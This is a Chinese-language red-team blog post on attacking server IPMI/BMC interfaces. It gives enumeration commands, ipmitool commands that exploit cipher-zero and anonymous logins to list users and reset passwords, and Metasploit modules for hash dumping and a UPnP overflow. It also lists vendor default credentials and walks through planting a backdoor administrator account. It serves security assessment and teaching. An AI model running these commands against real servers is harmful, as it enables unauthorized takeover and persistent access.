前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >工业服务器IPMI协议渗透

工业服务器IPMI协议渗透

作者头像
IRTeam-工业安全
发布2024-02-26 10:46:00
3341
发布2024-02-26 10:46:00
举报
文章被收录于专栏:今天有没有多懂一点工业安全

IPMI概述

智能平台管理接口(IPMI)提供了一种标准化的方法,用于远程管理和监控服务器系统,独立于操作系统或电源状态。这项技术允许系统管理员远程管理系统,即使系统处于关闭或无响应状态,对于以下情况尤为有用:

1.操作系统引导前的配置

2.关闭电源管理

3.从系统故障中恢复

IPMI能够监视温度、电压、风扇速度和电源供应情况,同时提供库存信息、查看硬件日志,并通过SNMP发送警报。其运行所需的关键组件包括电源源和LAN连接。

自Intel于1998年推出以来,IPMI得到了众多供应商的支持,特别是通过2.0版本对串行LAN的支持,增强了远程管理功能。关键组件包括:

主板管理控制器(BMC): IPMI操作的主要微控制器。

通信总线和接口:用于内部和外部通信,包括ICMB、IPMB以及用于本地和网络连接的各种接口。

IPMI存储器:用于存储日志和数据。

默认端口:623/UDP/TCP(通常在UDP上运行,但也可能在TCP上运行)

枚举发现

nmap -n -p 623 10.0.0./24

nmap -n-sU -p 623 10.0.0./24

use auxiliary/scanner/ipmi/ipmi_version

可以使用以下方法识别版本:

use auxiliary/scanner/ipmi/ipmi_version

nmap -sU --script ipmi-version -p 623 x.x.x.x

IPMI漏洞

在IPMI 2.0领域,有一个重大的安全漏洞,通过密码类型0暴露了一个漏洞。这个漏洞允许未经授权的访问,只要针对一个有效用户提供了任何密码。这个弱点在惠普(HP)、戴尔(Dell)和超微(Supermicro)等制造商的各种BMC中被发现,表明所有IPMI 2.0实现中存在普遍问题。

通过密码0绕过IPMI身份验证

要检测这个漏洞,可以使用以下Metasploit辅助扫描程序:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

利用ipmitool可以实现对此漏洞的利用,如下所示,允许列出和修改用户密码:

apt-get install ipmitool

ipmitool -I lanplus -C 0 -H x.x.x.x -U root -P root user list # 列出用户

ipmitool -I lanplus -C 0 -H x.x.x.x -U root -P root user set password 2 abc123 # 改变密码

IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval

该漏洞使得可以检索到任何现有用户名的盐值哈希密码(MD5和SHA1)。为了测试这个漏洞,Metasploit提供了一个模块:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

IPMI匿名认证

许多BMC中的默认配置允许“匿名”访问,其特征是空用户名和密码字符串。可以利用这种配置使用ipmitool来重置具名用户账户的密码:

ipmitool -I lanplus -H x.x.x.x -U '' -P '' user list

ipmitool -I lanplus -H x.x.x.x -U '' -P '' user set password 2 newpassword

Supermicro IPMI明文密码

IPMI 2.0中的一个关键设计选择要求在BMC中存储明文密码以进行身份验证。Supermicro将这些密码存储在诸如/nv/PSBlock或/nv/PSStore等位置,引发了重大的安全问题:

cat /nv/PSBlock

Supermicro IPMI UPnP Vulnerability

Supermicro在其IPMI固件中包含了一个UPnP SSDP监听器,特别是在UDP端口1900上,引入了严重的安全风险。根据Rapid7的披露详细介绍的Intel UPnP设备版本1.3.1中的漏洞,允许对BMC进行root访问:

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

暴力破解

HP在制造过程中会随机生成默认密码,用于其Integrated Lights Out (iLO)产品。这种做法与其他制造商形成对比,后者倾向于使用静态默认凭据。以下是各种产品的默认用户名和密码摘要:

HP Integrated Lights Out (iLO) 使用工厂随机生成的8位字符串作为默认密码,展示了更高的安全级别。

诸如Dell的iDRAC、IBM的IMM和Fujitsu的Integrated Remote Management Controller等产品使用易于猜测的密码,如"calvin"、"PASSW0RD"(使用零)和"admin"。

同样,Supermicro IPMI (2.0)、Oracle/Sun ILOM和ASUS iKVM BMC也使用简单的默认凭据,其密码分别为"ADMIN"、"changeme"和"admin"。

通过BMC访问主机

对基板管理控制器(BMC)的管理访问打开了访问主机操作系统的各种途径。一种直接的方法涉及利用BMC的键盘、视频、鼠标(KVM)功能。可以通过重新启动主机到一个root shell(使用init=/bin/sh)或从设置为救援磁盘的虚拟CD-ROM启动来实现这一点。这些方法允许直接操作主机的磁盘,包括插入后门、数据提取或进行安全评估所需的任何操作。然而,这需要重新启动主机,这是一个重大缺点。在不重新启动的情况下,访问正在运行的主机更加复杂,并且随着主机配置的不同而变化。如果主机的物理或串行控制台保持登录状态,可以通过BMC的KVM或串行-通过-LAN(sol)功能轻松接管它,使用ipmitool。探索共享硬件资源的利用,如i2c总线和Super I/O芯片,是需要进一步研究的领域。

从主机向BMC引入后门

在攻击配备有BMC的主机后,可以利用本地BMC接口插入后门用户帐户,在服务器上创建持久存在。此攻击需要在受损主机上存在**ipmitool**并激活BMC驱动程序支持。以下命令说明了如何使用主机的本地接口将新用户帐户注入BMC,绕过身份验证的需求。这种技术适用于各种操作系统,包括Linux、Windows、BSD,甚至DOS。

ipmitool user list

ID Name Callin Link Auth IPMI Msg Channel Priv Limit

2 ADMIN true false false Unknown (0x00)

3 root true false false Unknown (0x00)

ipmitool user set name 4 backdoor

ipmitool user set password 4 backdoor

ipmitool user priv 4 4

ipmitool user list

ID Name Callin Link Auth IPMI Msg Channel Priv Limit

2 ADMIN true false false Unknown (0x00)

3 root true false false Unknown (0x00)

4 backdoor true false true ADMINISTRATOR

Shodan搜索

端口:623

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-02-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 IRT工业安全红队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档